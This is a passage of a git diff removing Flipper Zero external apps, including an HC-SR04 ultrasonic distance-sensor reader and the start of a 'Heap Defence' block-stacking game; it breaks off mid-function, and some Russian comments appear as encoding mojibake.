(float)f->scale; -} - -/** - * Convert a raw coordinate to a floating point DD.DDD... value. - * Returns NaN for "unknown" values. - */ -static inline float minmea_tocoord(const struct minmea_float* f) { - if(f->scale == 0) return NAN; - if(f->scale > (INT_LEAST32_MAX / 100)) return NAN; - if(f->scale < (INT_LEAST32_MIN / 100)) return NAN; - int_least32_t degrees = f->value / (f->scale * 100); - int_least32_t minutes = f->value % (f->scale * 100); - return (float)degrees + (float)minutes / (60 * f->scale); -} - -/** - * Check whether a character belongs to the set of characters allowed in a - * sentence data field. - */ -static inline bool minmea_isfield(char c) { - return isprint((unsigned char)c) && c != ',' && c != '*'; -} - -#ifdef __cplusplus -} -#endif - -#endif /* MINMEA_H */ - -/* vim: set ts=4 sw=4 et: */ diff --git a/applications/external/gps_nmea_uart/ui.png b/applications/external/gps_nmea_uart/ui.png deleted file mode 100644 index 8e5214574..000000000 Binary files a/applications/external/gps_nmea_uart/ui.png and /dev/null differ diff --git a/applications/external/gps_nmea_uart/wiring.png b/applications/external/gps_nmea_uart/wiring.png deleted file mode 100644 index 74b4a4401..000000000 Binary files a/applications/external/gps_nmea_uart/wiring.png and /dev/null differ diff --git a/applications/external/hc_sr04/application.fam b/applications/external/hc_sr04/application.fam deleted file mode 100644 index f697f00fc..000000000 --- a/applications/external/hc_sr04/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="hc_sr04", - name="[HC-SR] Dist. Sensor", - apptype=FlipperAppType.EXTERNAL, - entry_point="hc_sr04_app", - requires=[ - "gui", - ], - stack_size=2 * 1024, - order=20, - fap_icon="dist_sensor10px.png", - fap_category="GPIO", - fap_author="@xMasterX (first implementation by @Sanqui)", - fap_version="1.0", - fap_description="HC-SR(04) Distance sensor reader", -) \ No newline at end of file diff --git a/applications/external/hc_sr04/dist_sensor10px.png b/applications/external/hc_sr04/dist_sensor10px.png deleted file mode 100644 index af9aa7358..000000000 Binary files a/applications/external/hc_sr04/dist_sensor10px.png and /dev/null differ diff --git a/applications/external/hc_sr04/hc_sr04.c b/applications/external/hc_sr04/hc_sr04.c deleted file mode 100644 index 66ffdad30..000000000 --- a/applications/external/hc_sr04/hc_sr04.c +++ /dev/null @@ -1,275 +0,0 @@ -// insired by -// https://github.com/esphome/esphome/blob/ac0d921413c3884752193fe568fa82853f0f99e9/esphome/components/ultrasonic/ultrasonic_sensor.cpp -// Ported and modified by @xMasterX - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef struct { - FuriMutex* mutex; - NotificationApp* notification; - bool have_5v; - bool measurement_made; - uint32_t echo; // us - float distance; // meters -} PluginState; - -const NotificationSequence sequence_done = { - &message_display_backlight_on, - &message_green_255, - &message_note_c5, - &message_delay_50, - &message_sound_off, - NULL, -}; - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const PluginState* plugin_state = ctx; - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - // border around the edge of the screen - // canvas_draw_frame(canvas, 0, 0, 128, 64); - - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned( - canvas, 64, 2, AlignCenter, AlignTop, "HC-SR04 Ultrasonic\nDistance Sensor"); - - canvas_set_font(canvas, FontSecondary); - - if(!plugin_state->have_5v) { - elements_multiline_text_aligned( - canvas, - 4, - 28, - AlignLeft, - AlignTop, - "5V on GPIO must be\nenabled, or USB must\nbe connected."); - } else { - if(!plugin_state->measurement_made) { - elements_multiline_text_aligned( - canvas, 64, 28, AlignCenter, AlignTop, "Press OK button to measure"); - elements_multiline_text_aligned( - canvas, 64, 40, AlignCenter, AlignTop, "13/TX -> Trig\n14/RX -> Echo"); - } else { - elements_multiline_text_aligned(canvas, 4, 28, AlignLeft, AlignTop, "Readout:"); - - FuriString* str_buf; - str_buf = furi_string_alloc(); - furi_string_printf(str_buf, "Echo: %ld us", plugin_state->echo); - - canvas_draw_str_aligned( - canvas, 8, 38, AlignLeft, AlignTop, furi_string_get_cstr(str_buf)); - furi_string_printf(str_buf, "Distance: %02f m", (double)plugin_state->distance); - canvas_draw_str_aligned( - canvas, 8, 48, AlignLeft, AlignTop, furi_string_get_cstr(str_buf)); - - furi_string_free(str_buf); - } - } - - furi_mutex_release(plugin_state->mutex); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void hc_sr04_state_init(PluginState* const plugin_state) { - plugin_state->echo = -1; - plugin_state->distance = -1; - plugin_state->measurement_made = false; - - furi_hal_power_suppress_charge_enter(); - - plugin_state->have_5v = false; - if(furi_hal_power_is_otg_enabled() || furi_hal_power_is_charging()) { - plugin_state->have_5v = true; - } else { - furi_hal_power_enable_otg(); - plugin_state->have_5v = true; - } -} - -float hc_sr04_us_to_m(uint32_t us) { - //speed of sound for 20°C, 50% relative humidity - //331.3 + 20 * 0.606 + 50 * 0.0124 = 0.034404 - const float speed_sound_m_per_s = 344.04f; - const float time_s = us / 1e6f; - const float total_dist = time_s * speed_sound_m_per_s; - return total_dist / 2.0f; -} - -static void hc_sr04_measure(PluginState* const plugin_state) { - //plugin_state->echo = 1; - //return; - - if(!plugin_state->have_5v) { - if(furi_hal_power_is_otg_enabled() || furi_hal_power_is_charging()) { - plugin_state->have_5v = true; - } else { - return; - } - } - - //furi_hal_light_set(LightRed, 0xFF); - notification_message(plugin_state->notification, &sequence_blink_start_yellow); - - const uint32_t timeout_ms = 2000; - // Pin 13 / TX -> Trig - furi_hal_gpio_write(&gpio_usart_tx, false); - furi_hal_gpio_init(&gpio_usart_tx, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - - // Pin 14 / RX -> Echo - furi_hal_gpio_write(&gpio_usart_rx, false); - furi_hal_gpio_init(&gpio_usart_rx, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - - //FURI_CRITICAL_ENTER(); - // 10 ms pulse on TX - furi_hal_gpio_write(&gpio_usart_tx, true); - furi_delay_ms(10); - furi_hal_gpio_write(&gpio_usart_tx, false); - - const uint32_t start = furi_get_tick(); - - while(furi_get_tick() - start < timeout_ms && furi_hal_gpio_read(&gpio_usart_rx)) - ; - while(furi_get_tick() - start < timeout_ms && !furi_hal_gpio_read(&gpio_usart_rx)) - ; - - const uint32_t pulse_start = DWT->CYCCNT; - - while(furi_get_tick() - start < timeout_ms && furi_hal_gpio_read(&gpio_usart_rx)) - ; - const uint32_t pulse_end = DWT->CYCCNT; - - //FURI_CRITICAL_EXIT(); - - plugin_state->echo = - (pulse_end - pulse_start) / furi_hal_cortex_instructions_per_microsecond(); - plugin_state->distance = hc_sr04_us_to_m(plugin_state->echo); - plugin_state->measurement_made = true; - - //furi_hal_light_set(LightRed, 0x00); - notification_message(plugin_state->notification, &sequence_blink_stop); - notification_message(plugin_state->notification, &sequence_done); -} - -int32_t hc_sr04_app() { - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - - PluginState* plugin_state = malloc(sizeof(PluginState)); - - hc_sr04_state_init(plugin_state); - - furi_hal_console_disable(); - - plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!plugin_state->mutex) { - FURI_LOG_E("hc_sr04", "cannot create mutex\r\n"); - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } - furi_hal_console_enable(); - furi_hal_power_suppress_charge_exit(); - furi_message_queue_free(event_queue); - free(plugin_state); - return 255; - } - - plugin_state->notification = furi_record_open(RECORD_NOTIFICATION); - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, plugin_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - PluginEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - case InputKeyDown: - case InputKeyRight: - case InputKeyLeft: - break; - case InputKeyOk: - hc_sr04_measure(plugin_state); - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } - } - } - - view_port_update(view_port); - furi_mutex_release(plugin_state->mutex); - } - - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } - furi_hal_power_suppress_charge_exit(); - - // Return TX / RX back to usart mode - furi_hal_gpio_init_ex( - &gpio_usart_tx, - GpioModeAltFunctionPushPull, - GpioPullUp, - GpioSpeedVeryHigh, - GpioAltFn7USART1); - furi_hal_gpio_init_ex( - &gpio_usart_rx, - GpioModeAltFunctionPushPull, - GpioPullUp, - GpioSpeedVeryHigh, - GpioAltFn7USART1); - furi_hal_console_enable(); - - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(plugin_state->mutex); - free(plugin_state); - - return 0; -} diff --git a/applications/external/heap_defence_game/application.fam b/applications/external/heap_defence_game/application.fam deleted file mode 100644 index d19b48ebb..000000000 --- a/applications/external/heap_defence_game/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="heap_defence", - name="Heap Defence", - apptype=FlipperAppType.EXTERNAL, - entry_point="heap_defence_app", - requires=["gui"], - stack_size=1 * 1024, - fap_category="Games", - fap_icon="box.png", - fap_icon_assets="assets_images", - fap_author="@xMasterX (original implementation by @wquinoa & @Vedmein)", - fap_version="1.0", - fap_description="Heap Defence game from hackathon (aka Stack Attack)", -) diff --git a/applications/external/heap_defence_game/assets_images/Background_128x64.png b/applications/external/heap_defence_game/assets_images/Background_128x64.png deleted file mode 100644 index a7eb1326f..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Background_128x64.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Box1_10x10.png b/applications/external/heap_defence_game/assets_images/Box1_10x10.png deleted file mode 100644 index d168f9511..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Box1_10x10.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Box2_10x10.png b/applications/external/heap_defence_game/assets_images/Box2_10x10.png deleted file mode 100644 index e3bbb48e7..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Box2_10x10.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Box3_10x10.png b/applications/external/heap_defence_game/assets_images/Box3_10x10.png deleted file mode 100644 index e20e75b00..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Box3_10x10.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Box4_10x10.png b/applications/external/heap_defence_game/assets_images/Box4_10x10.png deleted file mode 100644 index 98d134104..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Box4_10x10.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Box5_10x10.png b/applications/external/heap_defence_game/assets_images/Box5_10x10.png deleted file mode 100644 index f8dbf339f..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Box5_10x10.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Box6p_10x10.png b/applications/external/heap_defence_game/assets_images/Box6p_10x10.png deleted file mode 100644 index da50f8c86..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Box6p_10x10.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Box7p_10x10.png b/applications/external/heap_defence_game/assets_images/Box7p_10x10.png deleted file mode 100644 index efcd2ac0c..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Box7p_10x10.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Box8p_10x10.png b/applications/external/heap_defence_game/assets_images/Box8p_10x10.png deleted file mode 100644 index 57ca46e9c..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Box8p_10x10.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Game_over_128x64.png b/applications/external/heap_defence_game/assets_images/Game_over_128x64.png deleted file mode 100644 index d4837e635..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Game_over_128x64.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png deleted file mode 100644 index d4837e635..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png deleted file mode 100644 index a88122d90..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png deleted file mode 100644 index 02fa41df0..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png deleted file mode 100644 index d0c63d484..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png deleted file mode 100644 index 1c2756fdb..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png deleted file mode 100644 index 313fd6961..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png deleted file mode 100644 index cf854656c..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate b/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate deleted file mode 100644 index b8626c4cf..000000000 --- a/applications/external/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate +++ /dev/null @@ -1 +0,0 @@ -4 diff --git a/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png deleted file mode 100644 index 104a779c9..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png deleted file mode 100644 index afc4a932f..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate deleted file mode 100644 index 0cfbf0888..000000000 --- a/applications/external/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate +++ /dev/null @@ -1 +0,0 @@ -2 diff --git a/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png deleted file mode 100644 index 58c2ef68d..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png deleted file mode 100644 index afee3ec83..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate deleted file mode 100644 index 0cfbf0888..000000000 --- a/applications/external/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate +++ /dev/null @@ -1 +0,0 @@ -2 diff --git a/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png deleted file mode 100644 index e8bb70be6..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png deleted file mode 100644 index d7dd740f7..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png deleted file mode 100644 index a8a9fe7e7..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png deleted file mode 100644 index d7dd740f7..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate deleted file mode 100644 index 0cfbf0888..000000000 --- a/applications/external/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate +++ /dev/null @@ -1 +0,0 @@ -2 diff --git a/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png deleted file mode 100644 index fc2150343..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png deleted file mode 100644 index 9a03083a0..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png deleted file mode 100644 index 5c2911fbc..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png deleted file mode 100644 index 9a03083a0..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate b/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate deleted file mode 100644 index 0cfbf0888..000000000 --- a/applications/external/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate +++ /dev/null @@ -1 +0,0 @@ -2 diff --git a/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_01.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_01.png deleted file mode 100644 index 7fd2f8627..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_01.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_02.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_02.png deleted file mode 100644 index 32fc98b74..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_02.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_03.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_03.png deleted file mode 100644 index e7beb004d..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_03.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_04.png b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_04.png deleted file mode 100644 index 32fc98b74..000000000 Binary files a/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_04.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_rate b/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_rate deleted file mode 100644 index 00750edc0..000000000 --- a/applications/external/heap_defence_game/assets_images/HD_start_128x64/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 diff --git a/applications/external/heap_defence_game/assets_images/Person4_1_10x20.png b/applications/external/heap_defence_game/assets_images/Person4_1_10x20.png deleted file mode 100644 index 104a779c9..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Person4_1_10x20.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Person4_2_10x20.png b/applications/external/heap_defence_game/assets_images/Person4_2_10x20.png deleted file mode 100644 index afc4a932f..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Person4_2_10x20.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Person5_1_10x20.png b/applications/external/heap_defence_game/assets_images/Person5_1_10x20.png deleted file mode 100644 index 58c2ef68d..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Person5_1_10x20.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Person5_2_10x20.png b/applications/external/heap_defence_game/assets_images/Person5_2_10x20.png deleted file mode 100644 index afee3ec83..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Person5_2_10x20.png and /dev/null differ diff --git a/applications/external/heap_defence_game/assets_images/Start_128x64.png b/applications/external/heap_defence_game/assets_images/Start_128x64.png deleted file mode 100644 index 32fc98b74..000000000 Binary files a/applications/external/heap_defence_game/assets_images/Start_128x64.png and /dev/null differ diff --git a/applications/external/heap_defence_game/box.png b/applications/external/heap_defence_game/box.png deleted file mode 100644 index 9ad9b3900..000000000 Binary files a/applications/external/heap_defence_game/box.png and /dev/null differ diff --git a/applications/external/heap_defence_game/heap_defence.c b/applications/external/heap_defence_game/heap_defence.c deleted file mode 100644 index 111c22dce..000000000 --- a/applications/external/heap_defence_game/heap_defence.c +++ /dev/null @@ -1,598 +0,0 @@ -// -// Created by moh on 30.11.2021. -// -// Ported to latest firmware by @xMasterX - 18 Oct 2022 -// - -#include - -#include "hede_assets.h" -#include "heap_defence_icons.h" - -#include -#include -#include -#include -#include -#include - -#define Y_FIELD_SIZE 6 -#define Y_LAST (Y_FIELD_SIZE - 1) -#define X_FIELD_SIZE 12 -#define X_LAST (X_FIELD_SIZE - 1) - -#define DRAW_X_OFFSET 4 - -#define TAG "HeDe" - -#define BOX_HEIGHT 10 -#define BOX_WIDTH 10 -#define TIMER_UPDATE_FREQ 8 -#define BOX_GENERATION_RATE 15 - -static IconAnimation* BOX_DESTROYED; -static const Icon* boxes[] = { - (Icon*)&A_HD_BoxDestroyed_10x10, - &I_Box1_10x10, - &I_Box2_10x10, - &I_Box3_10x10, - &I_Box4_10x10, - &I_Box5_10x10}; - -static uint8_t BOX_TEXTURE_COUNT = sizeof(boxes) / sizeof(Icon*); - -typedef enum { - AnimationGameOver = 0, - AnimationPause, - AnimationLeft, - AnimationRight, -} Animations; - -static IconAnimation* animations[4]; - -typedef u_int8_t byte; - -typedef enum { - GameStatusVibro = 1 << 0, - GameStatusInProgress = 1 << 1, -} GameStatuses; - -typedef struct { - uint8_t x; - uint8_t y; -} Position; - -typedef enum { PlayerRising = 1, PlayerFalling = -1, PlayerNothing = 0 } PlayerStates; - -typedef struct { - Position p; - int8_t x_direction; - int8_t j_tick; - int8_t h_tick; - int8_t states; - bool right_frame; -} Person; - -typedef struct { - uint8_t offset : 4; - uint8_t box_id : 3; - uint8_t exists : 1; -} Box; - -static const uint8_t ROW_BYTE_SIZE = sizeof(Box) * X_FIELD_SIZE; - -typedef struct { - Box** field; - Person* person; - Animations animation; - GameStatuses game_status; - FuriMutex* mutex; -} GameState; - -typedef Box** Field; - -typedef enum { EventGameTick, EventKeyPress } EventType; - -typedef struct { - EventType type; - InputEvent input; -} GameEvent; - -/** - * #Construct / Destroy - */ - -static void game_reset_field_and_player(GameState* game) { - ///Reset field - bzero(game->field[0], X_FIELD_SIZE * Y_FIELD_SIZE * sizeof(Box)); - - ///Reset person - bzero(game->person, sizeof(Person)); - game->person->p.x = X_FIELD_SIZE / 2; - game->person->p.y = Y_LAST; -} - -static GameState* allocGameState() { - GameState* game = malloc(sizeof(GameState)); - - game->person = malloc(sizeof(Person)); - - game->field = malloc(Y_FIELD_SIZE * sizeof(Box*)); - game->field[0] = malloc(X_FIELD_SIZE * Y_FIELD_SIZE * sizeof(Box)); - for(int y = 1; y < Y_FIELD_SIZE; ++y) { - game->field[y] = game->field[0] + (y * X_FIELD_SIZE); - } - game_reset_field_and_player(game); - - game->game_status = GameStatusInProgress; - return game; -} - -static void game_destroy(GameState* game) { - furi_assert(game); - free(game->field[0]); - free(game->field); - free(game); -} - -static void assets_load() { - /// Init animations - animations[AnimationPause] = icon_animation_alloc(&A_HD_start_128x64); - animations[AnimationGameOver] = icon_animation_alloc(&A_HD_game_over_128x64); - animations[AnimationLeft] = icon_animation_alloc(&A_HD_person_left_10x20); - animations[AnimationRight] = icon_animation_alloc(&A_HD_person_right_10x20); - - BOX_DESTROYED = icon_animation_alloc(&A_HD_BoxDestroyed_10x10); - - icon_animation_start(animations[AnimationLeft]); - icon_animation_start(animations[AnimationRight]); -} - -static void assets_clear() { - for(int i = 0; i < 4; ++i) { - icon_animation_stop(animations[i]); - icon_animation_free(animations[i]); - } - icon_animation_free(BOX_DESTROYED); -} - -/** - * Box utils - */ - -static inline bool is_empty(Box* box) { - return !box->exists; -} - -static inline bool has_dropped(Box* box) { - return box->offset == 0; -} - -static Box* get_upper_box(Field field, Position current) { - return (&field[current.y - 1][current.x]); -} - -static Box* get_lower_box(Field field, Position current) { - return (&field[current.y + 1][current.x]); -} - -static Box* get_next_box(Field field, Position current, int x_direction) { - return (&field[current.y][current.x + x_direction]); -} - -static inline void decrement_y_offset_to_zero(Box* n) { - if(n->offset) --n->offset; -} - -static inline void heap_swap(Box* first, Box* second) { - Box temp = *first; - - *first = *second; - *second = temp; -} - -/** - * #Box logic - */ - -static void generate_box(GameState const* game) { - furi_assert(game); - - static byte tick_count = BOX_GENERATION_RATE; - if(tick_count++ != BOX_GENERATION_RATE) { - return; - } - tick_count = 0; - - int x_offset = rand() % X_FIELD_SIZE; - while(game->field[1][x_offset].exists) { - x_offset = rand() % X_FIELD_SIZE; - } - - game->field[1][x_offset].exists = true; - game->field[1][x_offset].offset = BOX_HEIGHT; - game->field[1][x_offset].box_id = (rand() % (BOX_TEXTURE_COUNT - 1)) + 1; -} - -static void drop_box(GameState* game) { - furi_assert(game); - - for(int y = Y_LAST; y > 0; y--) { - for(int x = 0; x < X_FIELD_SIZE; x++) { - Box* current_box = game->field[y] + x; - Box* upper_box = game->field[y - 1] + x; - - if(y == Y_LAST) { - decrement_y_offset_to_zero(current_box); - } - - decrement_y_offset_to_zero(upper_box); - - if(is_empty(current_box) && !is_empty(upper_box) && has_dropped(upper_box)) { - upper_box->offset = BOX_HEIGHT; - heap_swap(current_box, upper_box); - } - } - } -} - -static bool clear_rows(Box** field) { - for(int x = 0; x < X_FIELD_SIZE; ++x) { - if(is_empty(field[Y_LAST] + x) || !has_dropped(field[Y_LAST] + x)) { - return false; - } - } - - memset(field[Y_LAST], 128, ROW_BYTE_SIZE); - return true; -} - -/** - * Input Handling - */ - -static inline bool on_ground(Person* person, Field field) { - return person->p.y == Y_LAST || field[person->p.y + 1][person->p.x].exists; -} - -static void handle_key_presses(Person* person, InputEvent* input, GameState* game) { - switch(input->key) { - case InputKeyUp: - if(person->states == PlayerNothing && on_ground(person, game->field)) { - person->states = PlayerRising; - person->j_tick = 0; - } - break; - case InputKeyLeft: - person->right_frame = false; - if(person->h_tick == 0) { - person->h_tick = 1; - person->x_direction = -1; - } - break; - case InputKeyRight: - person->right_frame = true; - if(person->h_tick == 0) { - person->h_tick = 1; - person->x_direction = 1; - } - break; - case InputKeyOk: - game->game_status &= ~GameStatusInProgress; - game->animation = AnimationPause; - icon_animation_start(animations[AnimationPause]); - default: - break; - } -} - -/** - * #Person logic - */ - -static inline bool ground_box_check(Field field, Position new_position) { - Box* lower_box = get_lower_box(field, new_position); - - bool ground_box_dropped = - (new_position.y == Y_LAST || //EÑли мы и так в Ñамом низу - is_empty(lower_box) || // Ecли Ñнизу пуÑтота - has_dropped(lower_box)); //EÑли Ð±Ð¾ÐºÑ Ñнизу допадал - return ground_box_dropped; -} - -static inline bool is_movable(Field field, Position box_pos, int x_direction) { - //TODO::Moжет и не двух, предположение - bool out_of_bounds = box_pos.x == 0 || box_pos.x == X_LAST; - if(out_of_bounds) return false; - bool box_on_top = box_pos.y < 1 || get_upper_box(field, box_pos)->exists; - if(box_on_top) return false; - bool has_next_box = get_next_box(field, box_pos, x_direction)->exists; - if(has_next_box) return false; - - return 